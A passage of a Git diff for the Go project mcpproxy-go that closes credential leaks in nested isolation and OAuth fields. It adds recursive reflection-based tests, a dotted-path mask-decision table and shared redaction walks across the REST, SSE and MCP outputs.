srv.Isolation.ExtraArgs { + assert.NotContains(t, got, ghpToken, "isolation.extra_args published verbatim: %v", srv.Isolation.ExtraArgs) + } + for _, got := range srv.IsolationDefaults.ExtraArgs { + assert.NotContains(t, got, ghpToken, + "isolation_defaults.extra_args published verbatim: %v", srv.IsolationDefaults.ExtraArgs) + } +} + +// Redacting a nested block must never write back through a slice the payload +// still shares with the stored config. encoding/json reuses an existing slice's +// backing array, so decoding the mask straight over the projection would +// OVERWRITE the live credential with its own mask — the #1142/#1146 corruption +// this branch exists to prevent, reintroduced by the act of rendering a read. +func TestRedactServerSecretFields_DoesNotWriteBackThroughASharedSlice(t *testing.T) { + shared := []string{"-e", "API_KEY=" + ghpToken} + srv := &contracts.Server{ + Name: "s", + Isolation: &contracts.IsolationConfig{ExtraArgs: shared}, + IsolationDefaults: &contracts.IsolationDefaults{ExtraArgs: shared}, + } + RedactServerSecretFields(srv) + + assert.Equal(t, []string{"-e", "API_KEY=" + ghpToken}, shared, + "redacting a read payload must not mutate the slice it was built from") + assert.NotContains(t, srv.Isolation.ExtraArgs[1], ghpToken) +} + +// The general form of finding 2, derived from the decision table rather than +// from a list of fields somebody remembered: fill EVERY text-carrying leaf of +// contracts.Server with a credential, redact, and require that the only places +// it survives are the ones explicitly recorded as not-secret. +func TestRedactServerSecretFields_MasksEverySecretBearingLeaf(t *testing.T) { + srv := &contracts.Server{} + fillTextLeaves(reflect.ValueOf(srv).Elem(), ghpToken) + RedactServerSecretFields(srv) + + for _, path := range findTokenPaths(t, srv, ghpToken) { + decision := decisionForPath(path) + assert.Equal(t, MaskDecisionNotSecret, decision, + "contracts.Server.%s published the credential verbatim, but its decision is %q — "+ + "a field that can carry a secret must be masked on this door too", path, decision) + } +} + +// ROUND 7, FINDING 4 — the decision guard walked only TOP-LEVEL fields, so +// every credential-bearing leaf that lives in a nested struct (isolation, +// isolation_defaults, oauth's own leaves) inherited "no decision" silently. +func TestServerFieldMaskDecisions_CoverEveryNestedLeaf(t *testing.T) { + for _, subject := range serverWireTypes() { + t.Run(subject.name, func(t *testing.T) { + for _, path := range textLeafPaths(subject.typ) { + _, ok := ServerFieldMaskDecisions[path] + require.True(t, ok, + "%s carries text at %q with no entry in oauth.ServerFieldMaskDecisions.\n"+ + "Every credential-bearing leaf — nested ones included — needs an answer to: when a client "+ + "echoes this field's mask back on a write, is it REVERTED (bound to which key?) or REFUSED?", + subject.name, path) + } + }) + } +} + +// The guard is only worth having if it actually fails on a nested addition. +// This is the "temporarily add a nested field" check the reviewer asked for, +// expressed as a permanent test: a synthetic struct with a nested credential +// leaf must be reported as needing a decision. +func TestTextLeafPaths_ReachesNestedStructsSlicesAndMaps(t *testing.T) { + type deep struct { + Token string `json:"token"` + } + type mid struct { + Deep *deep `json:"deep"` + List []deep `json:"list"` + ByName map[string]deep `json:"by_name"` + Strings []string `json:"strings"` + StrByKey map[string]string `json:"str_by_key"` + Count int `json:"count"` + When time.Time `json:"when"` + } + type root struct { + Mid mid `json:"mid"` + Toggle bool `json:"toggle"` + } + + got := textLeafPaths(reflect.TypeOf(root{})) + for _, want := range []string{ + "mid.deep.token", + "mid.list[].token", + "mid.by_name{}.token", + "mid.strings", + "mid.str_by_key", + } { + assert.Contains(t, got, want, "the walk must reach %s", want) + } + for _, notWanted := range []string{"toggle", "mid.count", "mid.when"} { + assert.NotContains(t, got, notWanted, + "%s cannot carry text, so demanding a decision for it is noise", notWanted) + } +} + +// A table entry that names nothing on the wire reads as a decision being +// enforced somewhere when it is not. +func TestServerFieldMaskDecisions_HaveNoStaleNestedEntries(t *testing.T) { + onTheWire := map[string]bool{} + for _, subject := range serverWireTypes() { + for _, path := range allWirePaths(subject.typ) { + onTheWire[path] = true + } + } + for name := range ServerFieldMaskDecisions { + assert.True(t, onTheWire[name], + "oauth.ServerFieldMaskDecisions has a decision for %q, which names no field of "+ + "config.ServerConfig or contracts.Server", name) + } +} + +// decisionForPath resolves the decision for a leaf, falling back to its nearest +// recorded ancestor so a container marked not-secret answers for its leaves. +func decisionForPath(path string) MaskDecision { + for { + if d, ok := ServerFieldMaskDecisions[path]; ok { + return d + } + cut := strings.LastIndexAny(path, ".[{") + if cut < 0 { + return MaskDecision("") + } + path = path[:cut] + } +} + +// fillTextLeaves writes `token` into every string leaf reachable from v, +// allocating pointers, one-element slices and one-entry maps on the way. +func fillTextLeaves(v reflect.Value, token string) { + switch v.Kind() { + case reflect.String: + v.SetString(token) + case reflect.Ptr: + if v.Type().Elem() == reflect.TypeOf(time.Time{}) { + return + } + if !carriesText(v.Type().Elem()) { + return + } + if v.IsNil() { + v.Set(reflect.New(v.Type().Elem())) + } + fillTextLeaves(v.Elem(), token) + case reflect.Slice: + if !carriesText(v.Type().Elem()) { + return + } + elem := reflect.New(v.Type().Elem()).Elem() + fillTextLeaves(elem, token) + v.Set(reflect.Append(reflect.MakeSlice(v.Type(), 0, 1), elem)) + case reflect.Map: + if !carriesText(v.Type().Elem()) { + return + } + elem := reflect.New(v.Type().Elem()).Elem() + fillTextLeaves(elem, token) + m := reflect.MakeMap(v.Type()) + m.SetMapIndex(reflect.ValueOf("BENIGN").Convert(v.Type().Key()), elem) + v.Set(m) + case reflect.Struct: + if v.Type() == reflect.TypeOf(time.Time{}) { + return + } + for i := 0; i < v.NumField(); i++ { + if !v.Type().Field(i).IsExported() { + continue + } + if name := jsonFieldName(v.Type().Field(i)); name == "" || name == "-" { + continue + } + fillTextLeaves(v.Field(i), token) + } + } +} + +// findTokenPaths returns the dotted wire paths where `token` still appears. +func findTokenPaths(t *testing.T, v interface{}, token string) []string { + t.Helper() + var out []string + var walk func(path string, node interface{}) + walk = func(path string, node interface{}) { + switch typed := node.(type) { + case map[string]interface{}: + for k, val := range typed { + child := k + if path != "" { + child = path + "." + k + } + walk(child, val) + } + case []interface{}: + for _, val := range typed { + walk(path, val) + } + case string: + if strings.Contains(typed, token) { + out = append(out, path) + } + } + } + walk("", NormalizeForRedaction(v)) + return out +} diff --git a/internal/oauth/round7_walk_test.go b/internal/oauth/round7_walk_test.go new file mode 100644 index 000000000..8f4403968 --- /dev/null +++ b/internal/oauth/round7_walk_test.go @@ -0,0 +1,207 @@ +package oauth + +import ( + "reflect" + "time" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// Issue #1148, round 7 finding 4. The round-6 guard reflected over the TOP +// LEVEL of config.ServerConfig / contracts.Server only, so every defect that +// round found — isolation.extra_args published in the clear on two doors, its +// mask accepted on a third — lived in a NESTED field the guard never looked at. +// +// These walkers are the recursive replacement. They are the single definition +// of "what is on the wire under a server payload" that both the coverage guard +// and the stale-entry guard read, so the two cannot disagree about the shape +// they are enforcing. + +var timeType = reflect.TypeOf(time.Time{}) + +// serverWireTypes are the two structs a server is published as. +func serverWireTypes() []struct { + name string + typ reflect.Type +} { + return []struct { + name string + typ reflect.Type + }{ + {"config.ServerConfig", reflect.TypeOf(config.ServerConfig{})}, + {"contracts.Server", reflect.TypeOf(contracts.Server{})}, + } +} + +func deref(t reflect.Type) reflect.Type { + for t.Kind() == reflect.Ptr { + t = t.Elem() + } + return t +} + +// carriesText reports whether a type can carry free text — and therefore a +// credential — anywhere inside it. +// +// This is DERIVED from the type rather than asserted by a human: a bool, an +// int, a time.Time or a duration structurally cannot hold a token, so demanding +// a redaction decision for one is noise. Everything that can hold one must have +// an answer. +func carriesText(t reflect.Type) bool { + return carriesTextSeen(t, map[reflect.Type]bool{}) +} + +func carriesTextSeen(t reflect.Type, seen map[reflect.Type]bool) bool { + t = deref(t) + if seen[t] { + return false + } + seen[t] = true + switch t.Kind() { + case reflect.String, reflect.Interface: + return true + case reflect.Slice, reflect.Array: + return carriesTextSeen(t.Elem(), seen) + case reflect.Map: + return carriesTextSeen(t.Elem(), seen) + case reflect.Struct: + if t == timeType { + return false + } + for i := 0; i < t.NumField(); i++ { + f := t.Field(i) + if !f.IsExported() { + continue + } + if name := jsonFieldName(f); name == "" || name == "-" { + continue + } + if carriesTextSeen(f.Type, seen) { + return true + } + } + return false + default: + return false + } +} + +func joinPath(parent, field string) string { + if parent == "" { + return field + } + return parent + "." + field +} + +// textLeafPaths returns the dotted wire path of every leaf under t that can +// carry text: `field`, `field.nested`, `slice[].nested`, `map{}.nested`. A +// []string or map[string]string is itself a leaf — the redaction rules act on +// the whole collection, keyed by its own name. +func textLeafPaths(t reflect.Type) []string { + var out []string + var walk func(path string, t reflect.Type, seen map[reflect.Type]bool) + walk = func(path string, t reflect.Type, seen map[reflect.Type]bool) { + t = deref(t) + if seen[t] { + return + } + switch t.Kind() { + case reflect.String, reflect.Interface: + out = append(out, path) + case reflect.Slice, reflect.Array: + elem := deref(t.Elem()) + if elem.Kind() == reflect.String { + out = append(out, path) + return + } + if !carriesText(elem) { + return + } + walk(path+"[]", elem, childSeen(seen, t)) + case reflect.Map: + elem := deref(t.Elem()) + if elem.Kind() == reflect.String { + out = append(out, path) + return + } + if !carriesText(elem) { + return + } + walk(path+"{}", elem, childSeen(seen, t)) + case reflect.Struct: + if t == timeType { + return + } + for i := 0; i < t.NumField(); i++ { + f := t.Field(i) + if !f.IsExported() { + continue + } + name := jsonFieldName(f) + if name == "" || name == "-" { + continue + } + if !carriesText(f.Type) { + continue + } + walk(joinPath(path, name), f.Type, childSeen(seen, t)) + } + } + } + walk("", t, map[reflect.Type]bool{}) + return out +} + +// allWirePaths returns every path a server payload can carry, text or not — +// the universe the stale-entry guard checks table keys against. +func allWirePaths(t reflect.Type) []string { + var out []string + var walk func(path string, t reflect.Type, seen map[reflect.Type]bool) + walk = func(path string, t reflect.Type, seen map[reflect.Type]bool) { + t = deref(t) + if seen[t] { + return + } + switch t.Kind() { + case reflect.Slice, reflect.Array: + elem := deref(t.Elem()) + if elem.Kind() == reflect.Struct && elem != timeType { + walk(path+"[]", elem, childSeen(seen, t)) + } + case reflect.Map: + elem := deref(t.Elem()) + if elem.Kind() == reflect.Struct && elem != timeType { + walk(path+"{}", elem, childSeen(seen, t)) + } + case reflect.Struct: + if t == timeType { + return + } + for i := 0; i < t.NumField(); i++ { + f := t.Field(i) + if !f.IsExported() { + continue + } + name := jsonFieldName(f) + if name == "" || name == "-" { + continue + } + child := joinPath(path, name) + out = append(out, child) + walk(child, f.Type, childSeen(seen, t)) + } + } + } + walk("", t, map[reflect.Type]bool{}) + return out +} + +func childSeen(seen map[reflect.Type]bool, t reflect.Type) map[reflect.Type]bool { + out := make(map[reflect.Type]bool, len(seen)+1) + for k, v := range seen { + out[k] = v + } + out[deref(t)] = true + return out +} diff --git a/internal/oauth/serverfields.go b/internal/oauth/serverfields.go index f5b8b8dcd..9fb437b36 100644 --- a/internal/oauth/serverfields.go +++ b/internal/oauth/serverfields.go @@ -92,6 +92,39 @@ func RedactServerSecretFields(server *contracts.Server) { } server.OAuth = &masked } + // The isolation blocks are REDACTED THROUGH THE SHARED WALK rather than + // field by field (issue #1148, round 7 finding 2). + // + // This function used to skip them entirely, so `isolation.extra_args` — + // free text an operator can put `-e API_KEY=` into — was masked on + // the MCP door and published IN THE CLEAR on `GET /api/v1/servers` and on + // every `/events` servers.changed payload. The decision table asserted in + // prose that it was covered; it was not. + // + // Walking rather than enumerating is the durable half: a field added to + // contracts.IsolationConfig / IsolationDefaults is masked because the walk + // reaches it. `isolation_defaults` is included because its contents are + // resolved from the SAME operator-supplied global config — a credential in + // the global `docker_isolation.extra_args` lands there verbatim. + // + // A walk that cannot round-trip fails CLOSED: the block is dropped rather + // than published half-redacted. + if server.Isolation != nil { + iso := *server.Isolation + if LiveRedaction.RedactNested("isolation", &iso) { + server.Isolation = &iso + } else { + server.Isolation = nil + } + } + if server.IsolationDefaults != nil { + defaults := *server.IsolationDefaults + if LiveRedaction.RedactNested("isolation_defaults", &defaults) { + server.IsolationDefaults = &defaults + } else { + server.IsolationDefaults = nil + } + } if server.LastError != "" { server.LastError = MaskDetectedSecrets(RedactSensitiveData(server.LastError)) } @@ -143,14 +176,23 @@ const ( ) // ServerFieldMaskDecisions records the decision for every field of a server as -// it appears on the wire, keyed by JSON field name. Both config.ServerConfig -// (the MCP door + the config file) and contracts.Server (the REST/SSE door) are -// covered; the two share most names. +// it appears on the wire, keyed by its DOTTED WIRE PATH. Both +// config.ServerConfig (the MCP door + the config file) and contracts.Server +// (the REST/SSE door) are covered; the two share most names. // -// TestServerFieldMaskDecisions_CoverEveryServerField reflects over BOTH structs -// and fails when a field appears here without a decision — so adding a field to -// either struct forces the author to answer the question rather than inheriting -// "leaked by default" or "corrupted by default". +// The keys are paths, not top-level field names, because round 7 finding 4 +// found the guard itself failing open: it reflected over the TOP LEVEL only, +// and all three of that round's leaks — `isolation.extra_args` published in the +// clear on two doors and its mask accepted on a third — lived one level down, +// under a single `isolation` row that claimed in prose to cover them. +// +// TestServerFieldMaskDecisions_CoverEveryNestedLeaf walks BOTH structs +// recursively (into nested structs, slices and maps) and fails when any leaf +// that can carry TEXT — and therefore a credential — appears without a +// decision. Whether a leaf can carry text is derived from its Go type, not +// asserted here: a bool, an int or a time.Time structurally cannot hold a +// token, so it needs no row. Everything else does, which is what stops a new +// nested field inheriting "leaked by default" or "corrupted by default". var ServerFieldMaskDecisions = map[string]MaskDecision{ // --- masked on read, reverted on write, bound to a key --- "url": MaskDecisionRevertByKey, // UnmaskURL + UnmaskLiveURLParams, bound to the parameter name and the stored scheme+host:port @@ -190,11 +232,44 @@ var ServerFieldMaskDecisions = map[string]MaskDecision{ "source_registry_id": MaskDecisionNotSecret, "source_registry_provenance": MaskDecisionNotSecret, - // Docker/sandbox overrides. `extra_args` is free text an operator can put a - // `-e API_KEY=…` into, so the read doors mask it through the same leaf rule - // as any other config string; nothing binds a mask back to an element of a - // caller-replaced slice, so an echo is refused by the residual net. - "isolation": MaskDecisionRefuse, + // Docker/sandbox overrides, leaf by leaf. `extra_args` is free text an + // operator can put a `-e API_KEY=…` into, and the rest are free-form + // strings a credential can be pasted into just as easily; the read doors + // mask them through the same leaf rule as any other config string, and + // nothing binds a mask back to an element of a caller-replaced block, so an + // echo is refused by the residual net. + // + // Round 7 finding 3: this row used to stand alone and was read as covering + // the subtree, while `upstream_servers list` republished + // `docker_isolation.server_isolation.extra_args` (and the whole global + // `docker_status.isolation_config`) in the clear in the same payload. + "isolation": MaskDecisionRefuse, + "isolation.mode": MaskDecisionRefuse, + "isolation.mode_override": MaskDecisionRefuse, + "isolation.image": MaskDecisionRefuse, + "isolation.network_mode": MaskDecisionRefuse, + "isolation.extra_args": MaskDecisionRefuse, + "isolation.working_dir": MaskDecisionRefuse, + "isolation.memory_limit": MaskDecisionRefuse, + "isolation.cpu_limit": MaskDecisionRefuse, + "isolation.timeout": MaskDecisionRefuse, + "isolation.log_driver": MaskDecisionRefuse, + "isolation.log_max_size": MaskDecisionRefuse, + "isolation.log_max_files": MaskDecisionRefuse, + + // oauth, leaf by leaf. UnmaskLiveOAuth binds a revert to the field NAME for + // the four leaves that have one; everything else — including any leaf added + // later — is refused by the residual net that closes UnmaskLiveOAuth. + "oauth.client_secret": MaskDecisionRevertByKey, + "oauth.client_id": MaskDecisionRevertByKey, + "oauth.redirect_uri": MaskDecisionRevertByKey, + "oauth.extra_params": MaskDecisionRevertByKey, // bound per parameter name + "oauth.scopes": MaskDecisionRefuse, // a scope slot has no key, exactly as an argv slot has none + // auth_url / token_url are DISCOVERED endpoints that exist only on the + // contracts projection; nothing writes back through them, and a mask + // arriving in one is refused rather than bound. + "oauth.auth_url": MaskDecisionRefuse, + "oauth.token_url": MaskDecisionRefuse, // Server edition only (//go:build server); the personal edition carries an // empty stub. Brokered credentials are masked by the leaf rules on read and @@ -202,27 +277,85 @@ var ServerFieldMaskDecisions = map[string]MaskDecision{ "auth_broker": MaskDecisionRefuse, // --- contracts.Server-only projections (read-only; never accepted on a write) --- - "connected": MaskDecisionNotSecret, - "connecting": MaskDecisionNotSecret, - "status": MaskDecisionNotSecret, - "last_error": MaskDecisionNotSecret, // scrubbed free-form text; nothing writes back through it - "connected_at": MaskDecisionNotSecret, - "last_reconnect_at": MaskDecisionNotSecret, - "reconnect_count": MaskDecisionNotSecret, - "tool_count": MaskDecisionNotSecret, - "isolation_defaults": MaskDecisionNotSecret, - "isolation_effective": MaskDecisionNotSecret, - "authenticated": MaskDecisionNotSecret, - "oauth_status": MaskDecisionNotSecret, - "token_expires_at": MaskDecisionNotSecret, - "tool_list_token_size": MaskDecisionNotSecret, - "should_retry": MaskDecisionNotSecret, - "retry_count": MaskDecisionNotSecret, - "last_retry_time": MaskDecisionNotSecret, - "user_logged_out": MaskDecisionNotSecret, - "health": MaskDecisionNotSecret, // health.detail is scrubbed free-form text - "quarantine": MaskDecisionNotSecret, - "security_scan": MaskDecisionNotSecret, - "diagnostic": MaskDecisionNotSecret, // diagnostic.cause is scrubbed free-form text - "error_code": MaskDecisionNotSecret, + "connected": MaskDecisionNotSecret, + "connecting": MaskDecisionNotSecret, + "status": MaskDecisionNotSecret, + "last_error": MaskDecisionNotSecret, // scrubbed free-form text; nothing writes back through it + "connected_at": MaskDecisionNotSecret, + "last_reconnect_at": MaskDecisionNotSecret, + "reconnect_count": MaskDecisionNotSecret, + "tool_count": MaskDecisionNotSecret, + // isolation_defaults is READ-ONLY output, but round 7 finding 4 re-judged + // it: it is resolved from the operator-supplied GLOBAL docker_isolation + // block, so a credential in the global `extra_args` lands in it verbatim. + // It is masked on read like any other isolation block, and an echo is + // refused — nothing binds a mask back into a derived projection. + "isolation_defaults": MaskDecisionRefuse, + "isolation_defaults.runtime_type": MaskDecisionRefuse, + "isolation_defaults.image": MaskDecisionRefuse, + "isolation_defaults.network_mode": MaskDecisionRefuse, + "isolation_defaults.extra_args": MaskDecisionRefuse, + "isolation_defaults.working_dir": MaskDecisionRefuse, + + // isolation_effective is derived state: an enum mode, the resolved global + // mode and the name of the deciding rule. None of the three can carry an + // operator-supplied value. + "isolation_effective": MaskDecisionNotSecret, + "isolation_effective.mode": MaskDecisionNotSecret, + "isolation_effective.global_mode": MaskDecisionNotSecret, + "isolation_effective.source": MaskDecisionNotSecret, + "authenticated": MaskDecisionNotSecret, + "oauth_status": MaskDecisionNotSecret, + "token_expires_at": MaskDecisionNotSecret, + "tool_list_token_size": MaskDecisionNotSecret, + "should_retry": MaskDecisionNotSecret, + "retry_count": MaskDecisionNotSecret, + "last_retry_time": MaskDecisionNotSecret, + "user_logged_out": MaskDecisionNotSecret, + "quarantine": MaskDecisionNotSecret, + "error_code": MaskDecisionNotSecret, + + // Health: computed status plus operator-facing prose. `detail` is the only + // leaf that echoes upstream text, and RedactServerSecretFields scrubs it; + // nothing writes back through any of them. + "health": MaskDecisionNotSecret, + "health.level": MaskDecisionNotSecret, + "health.admin_state": MaskDecisionNotSecret, + "health.summary": MaskDecisionNotSecret, + "health.detail": MaskDecisionNotSecret, // scrubbed free-form text + "health.action": MaskDecisionNotSecret, + + // Spec 044 diagnostic: a classified failure. `cause` echoes the raw connect + // error and is scrubbed; the rest are codes and fixed prose. Read-only. + "diagnostic": MaskDecisionNotSecret, + "diagnostic.code": MaskDecisionNotSecret, + "diagnostic.severity": MaskDecisionNotSecret, + "diagnostic.cause": MaskDecisionNotSecret, // scrubbed free-form text + "diagnostic.user_message": MaskDecisionNotSecret, + "diagnostic.docs_url": MaskDecisionNotSecret, + "diagnostic.fix_steps[].type": MaskDecisionNotSecret, + "diagnostic.fix_steps[].label": MaskDecisionNotSecret, + "diagnostic.fix_steps[].command": MaskDecisionNotSecret, + "diagnostic.fix_steps[].url": MaskDecisionNotSecret, + "diagnostic.fix_steps[].fixer_key": MaskDecisionNotSecret, + + // Scan results: statuses and scanner identifiers this proxy produced. + // Read-only; no operator value reaches them. + "security_scan": MaskDecisionNotSecret, + "security_scan.status": MaskDecisionNotSecret, + "security_scan.deep_scan.skipped_scanners": MaskDecisionNotSecret, + "security_scan.deep_scan.scanners_failed[].id": MaskDecisionNotSecret, + // `reason` is a scanner's own error text; it is produced by this proxy's + // scanner layer, never round-tripped, and the residual net still refuses a + // mask arriving in it. + "security_scan.deep_scan.scanners_failed[].reason": MaskDecisionNotSecret, +} + +func init() { + // Edition-gated fields (//go:build server) are recorded in their own file + // so the personal build does not carry decisions for paths that do not + // exist in it — a stale row reads as a rule being enforced when it is not. + for path, decision := range editionServerFieldMaskDecisions { + ServerFieldMaskDecisions[path] = decision + } } diff --git a/internal/oauth/serverfields_serveredition.go b/internal/oauth/serverfields_serveredition.go new file mode 100644 index 000000000..41c579186 --- /dev/null +++ b/internal/oauth/serverfields_serveredition.go @@ -0,0 +1,22 @@ +//go:build server + +package oauth + +// editionServerFieldMaskDecisions records the write-path answer for the +// server-edition-only `auth_broker` block (config.AuthBrokerConfig). +// +// Every leaf is REFUSED. The block is replaced wholesale by a write and nothing +// binds a mask back into it, so an echo of a read mask must be rejected rather +// than persisted over the brokered credential — the same answer `args` and +// `oauth.scopes` get, and the same reason. +var editionServerFieldMaskDecisions = map[string]MaskDecision{ + "auth_broker.mode": MaskDecisionRefuse, + "auth_broker.token_endpoint": MaskDecisionRefuse, + "auth_broker.authorization_endpoint": MaskDecisionRefuse, + "auth_broker.resource": MaskDecisionRefuse, + "auth_broker.scopes": MaskDecisionRefuse, + "auth_broker.client_id": MaskDecisionRefuse, + "auth_broker.client_secret": MaskDecisionRefuse, + "auth_broker.header": MaskDecisionRefuse, + "auth_broker.header_format": MaskDecisionRefuse, +} diff --git a/internal/oauth/serverfields_stub.go b/internal/oauth/serverfields_stub.go new file mode 100644 index 000000000..adf0c9c74 --- /dev/null +++ b/internal/oauth/serverfields_stub.go @@ -0,0 +1,8 @@ +//go:build !server + +package oauth + +// editionServerFieldMaskDecisions is empty in the personal edition: +// config.ServerConfig.AuthBroker is a stub struct with no fields on the wire, +// so there is nothing under `auth_broker` to decide about. +var editionServerFieldMaskDecisions = map[string]MaskDecision{} diff --git a/internal/security/mask.go b/internal/security/mask.go index 35320c16c..9721112f6 100644 --- a/internal/security/mask.go +++ b/internal/security/mask.go @@ -12,6 +12,19 @@ const maskedSuffix = "…****" // maskedWhole is the mask for values too short to keep any prefix from. const maskedWhole = "****" +// MaskMarkers are the substrings every MaskValue rendering carries: a value +// long enough to keep a prefix ends in maskedSuffix, a shorter one collapses to +// maskedWhole. +// +// They are exported because the write doors have to RECOGNISE this package's +// renderings — internal/oauth's fail-closed net refuses a client that echoes +// one back, and it must derive the substrings it looks for from the constants +// the renderer is built from rather than keep its own copy beside them (issue +// #1148, round 7 finding 1). +func MaskMarkers() []string { + return []string{maskedSuffix, maskedWhole} +} + // maskPrefixRunes is how much of a detected value survives masking. Four runes // is enough to recognise WHICH credential was flagged (`AKIA…`, `ghp_…`, // `sk-a…`) without being enough to use, and matches the prefix length the diff --git a/internal/server/mcp.go b/internal/server/mcp.go index 7fa1bac6b..ebbc4ab36 100644 --- a/internal/server/mcp.go +++ b/internal/server/mcp.go @@ -3940,17 +3940,30 @@ func (p *MCPProxyServer) handleListUpstreams(ctx context.Context) (*mcp.CallTool } } - // Add server-specific isolation config. This block is deliberately - // the RAW per-server override — it is named server_isolation — so - // `enabled` is omitted entirely when the server inherits the global - // setting rather than being flattened to false. The effective state - // lives in applies_to_server / isolation_mode above. + // Add server-specific isolation config. This block is the RAW + // per-server OVERRIDE — it is named server_isolation — so `enabled` + // is omitted entirely when the server inherits the global setting + // rather than being flattened to false. The effective state lives + // in applies_to_server / isolation_mode above. + // + // "Raw override" means the override SET, not raw secrets: issue + // #1148 round 7 finding 3 found this block republishing + // `isolation.extra_args` verbatim in the SAME response that masks + // env, url and args — and `extra_args` is free text an operator + // puts `-e API_KEY=` into. The values are therefore sourced + // from the redacted view, under the same reveal_secret_headers gate + // as every other secret-bearing field on this surface. if server.Isolation != nil { + // viewField keeps the payload SHAPE byte-identical: every + // string field of config.IsolationConfig is `omitempty`, so an + // unset one is absent from the view and falls back to the raw + // (empty) value rather than turning into a JSON null. + isoSource := isolationValues(server.Isolation, revealHeaders) serverIso := map[string]interface{}{ - "image": server.Isolation.Image, - "network_mode": server.Isolation.NetworkMode, - "working_dir": server.Isolation.WorkingDir, - "extra_args": server.Isolation.ExtraArgs, + "image": viewField(isoSource, "image", server.Isolation.Image), + "network_mode": viewField(isoSource, "network_mode", server.Isolation.NetworkMode), + "working_dir": viewField(isoSource, "working_dir", server.Isolation.WorkingDir), + "extra_args": viewField(isoSource, "extra_args", server.Isolation.ExtraArgs), } if server.Isolation.Enabled != nil { serverIso["enabled"] = *server.Isolation.Enabled @@ -3981,10 +3994,14 @@ func (p *MCPProxyServer) handleListUpstreams(ctx context.Context) (*mcp.CallTool "servers": enhancedServers, "total": len(servers), "docker_status": map[string]interface{}{ - "available": dockerAvailable, - "docker_path": dockerPath, - "global_enabled": dockerIsolationGlobalEnabled, - "isolation_config": p.config.DockerIsolation, + "available": dockerAvailable, + "docker_path": dockerPath, + "global_enabled": dockerIsolationGlobalEnabled, + // The WHOLE global docker_isolation block, including its own + // `extra_args` — which is exactly as credential-bearing as a + // server's, and was published here in the clear beside the masked + // per-server fields (issue #1148, round 7 finding 3). + "isolation_config": globalIsolationView(p.config.DockerIsolation, revealHeaders), }, } diff --git a/internal/server/mcp_activity_args.go b/internal/server/mcp_activity_args.go index 4a69c0435..5c2d10692 100644 --- a/internal/server/mcp_activity_args.go +++ b/internal/server/mcp_activity_args.go @@ -264,25 +264,26 @@ func normalizeForRedaction(v interface{}) interface{} { return oauth.NormalizeForRedaction(v) } -// redactionPolicy pairs the SHARED redaction rules (oauth.Redaction — which -// key names are sensitive, which values look like credentials, how argv pairs -// up) with the one decision that is local to this package: the activity -// store's per-leaf size cap. +// redactionPolicy is the SHARED redaction rule set (oauth.Redaction — which key +// names are sensitive, which values look like credentials, how argv pairs up, +// and how the generic walk descends into a nested payload) as applied at this +// package's doors. // -// The rules themselves live in internal/oauth because there are TWO doors onto -// the same server config — the MCP payloads built here and `GET /api/v1/servers` -// in internal/httpapi, which sits BELOW this package in the import graph. See -// the header of internal/oauth/redactview.go. -type redactionPolicy struct { - oauth.Redaction - // limit caps each string leaf, or 0 for no cap. - limit int -} +// It is an ALIAS, not a wrapper. Issue #1148 round 7 findings 2 and 3 were both +// a door that could not reach the WALK because the walk lived here: the leaf +// rules were already shared, but `RedactServerSecretFields` (REST + SSE) and +// the hand-built isolation projections in `upstream_servers list` each +// re-derived the descent field by field, and each missed +// `isolation.extra_args`. The walk now lives in internal/oauth beside the +// rules — below both internal/server and internal/httpapi in the import graph — +// so every door runs the same code. The one thing that used to be local, the +// activity store's per-leaf size cap, is expressed as oauth.Redaction.Limit. +type redactionPolicy = oauth.Redaction // auditRedaction is the policy for anything PERSISTED or EXPORTED: the fixed // `••••` marker (no length, no trailing bytes — see the file header) and the // activity-store size cap. -var auditRedaction = redactionPolicy{Redaction: oauth.AuditRedaction, limit: activityArgValueLimit} +var auditRedaction = oauth.AuditRedaction.WithLimit(activityArgValueLimit) // liveRedaction is the policy for the LIVE MCP read surfaces (upstream_servers // list, quarantine_security list_quarantined). @@ -296,15 +297,7 @@ var auditRedaction = redactionPolicy{Redaction: oauth.AuditRedaction, limit: act // // It does not cap: a truncated URL or arg is no longer equal to mask(stored), // so the unmasker would write the truncation through. -var liveRedaction = redactionPolicy{Redaction: oauth.LiveRedaction, limit: 0} - -// capString applies the policy's length cap, if any. -func (r redactionPolicy) capString(s string) string { - if r.limit <= 0 || len(s) <= r.limit { - return s - } - return s[:safeTruncateBytes(s, r.limit)] + activityErrorMessageEllipsis -} +var liveRedaction = oauth.LiveRedaction // redactActivityValue walks a generic JSON value under the audit policy. func redactActivityValue(key string, v interface{}) interface{} { @@ -315,64 +308,27 @@ func redactActivityValue(key string, v interface{}) interface{} { // key that encloses them. `key` is the enclosing field name (for a slice, the // name of the slice itself). func redactValueWith(key string, v interface{}, r redactionPolicy) interface{} { - switch typed := v.(type) { - case map[string]interface{}: - out := make(map[string]interface{}, len(typed)) - isHeaders := isActivityHeadersKey(key) - isEnv := isActivityEnvKey(key) - for k, val := range typed { - if s, ok := val.(string); ok { - switch { - case isHeaders: - // HTTP header semantics: mask by header name. - out[k] = redactHeaderValueWith(k, s, r) - continue - case isEnv: - // Environment-variable semantics: mask by var name, using - // oauth's own rendering so the write path can recognise an - // echoed mask. - out[k] = redactEnvValueWith(k, s, r) - continue - } - } - out[k] = redactValueWith(k, val, r) - } - return out - case []interface{}: - if isActivityArgvKey(key) { - return redactArgvWith(typed, r) - } - out := make([]interface{}, len(typed)) - for i, val := range typed { - out[i] = redactValueWith(key, val, r) - } - return out - case string: - return redactStringWith(key, typed, r) - default: - // Bools, json.Number and nil carry no secrets and stay verbatim. - return v - } + return r.Value(key, v) } // redactStringWith masks one string leaf under the shared leaf rule, then // applies the policy's size cap. `key` is the enclosing field name ("" for a // leaf with no key, such as a positional argv token). func redactStringWith(key, s string, r redactionPolicy) string { - return r.capString(r.Leaf(key, s)) + return r.CapString(r.Leaf(key, s)) } // redactEnvValueWith masks one environment-variable leaf, reproducing // oauth.maskedEnvValue exactly so oauth.UnmaskEnvValues can recognise the // rendering if a client echoes it back on the write path. func redactEnvValueWith(name, value string, r redactionPolicy) string { - return r.capString(r.EnvValue(name, value)) + return r.CapString(r.EnvValue(name, value)) } // redactHeaderValueWith masks one HTTP header leaf, judged by the header NAME // first and then by the value's own shape. func redactHeaderValueWith(name, value string, r redactionPolicy) string { - return r.capString(r.HeaderValue(name, value)) + return r.CapString(r.HeaderValue(name, value)) } // redactActivityConfigValues redacts a flat before/after value map for a @@ -394,57 +350,8 @@ func redactActivityConfigValues(values map[string]interface{}) map[string]interf return out } -// isActivityArgvKey reports whether a 